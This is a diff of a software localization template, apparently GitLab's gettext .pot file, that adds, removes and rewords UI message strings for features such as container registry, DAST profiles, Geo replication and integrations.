msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7777,6 +8031,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7840,6 +8097,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -8125,6 +8385,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -8157,9 +8420,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8244,6 +8504,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8262,6 +8525,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8329,6 +8595,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8551,6 +8820,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8596,9 +8868,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8656,9 +8925,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8713,12 +8991,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8752,6 +9039,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8761,19 +9051,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8918,9 +9204,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8942,6 +9225,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -9095,6 +9381,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -9158,6 +9447,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9462,8 +9754,12 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9558,6 +9854,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9627,6 +9926,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9687,6 +9992,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9720,6 +10028,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9750,12 +10061,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9835,6 +10158,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9865,6 +10191,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10294,13 +10623,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10411,9 +10746,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10441,9 +10773,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10559,9 +10888,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10721,13 +11047,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10742,7 +11068,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10998,6 +11324,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -11241,6 +11570,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11253,6 +11585,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11472,6 +11807,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11496,6 +11834,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11508,6 +11849,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11520,6 +11864,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11631,6 +11978,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11700,9 +12050,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12330,19 +12677,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12351,7 +12698,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12462,9 +12809,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12531,6 +12875,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12600,6 +12947,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12612,12 +12962,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12645,9 +12989,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12669,13 +13010,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12774,6 +13118,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12801,9 +13148,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12852,9 +13205,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12909,9 +13259,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13297,10 +13644,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13333,7 +13680,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13435,6 +13782,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13483,12 +13833,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13498,9 +13851,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13525,6 +13875,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13534,6 +13887,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13549,6 +13905,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13567,9 +13926,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13831,6 +14187,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13873,9 +14232,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13900,6 +14265,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13933,6 +14307,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13960,6 +14340,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13972,6 +14355,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13999,6 +14406,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -14011,6 +14421,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -14044,6 +14457,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -14089,6 +14505,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -14218,6 +14637,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14341,6 +14766,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14383,9 +14826,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14515,16 +14955,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14536,6 +14973,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14593,6 +15033,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14674,9 +15120,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14779,9 +15222,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14797,7 +15246,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14893,9 +15345,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -15091,9 +15540,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -15229,9 +15675,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15414,6 +15857,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15582,6 +16028,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15746,9 +16198,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15798,12 +16247,15 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15813,9 +16265,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16401,6 +16850,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16573,6 +17025,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16618,9 +17073,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16645,6 +17097,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16681,9 +17136,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16879,7 +17331,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16888,7 +17340,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16897,25 +17349,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16930,6 +17382,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -17092,6 +17547,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -17101,6 +17559,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -17188,6 +17649,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -17251,6 +17715,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17338,6 +17805,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17350,9 +17820,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
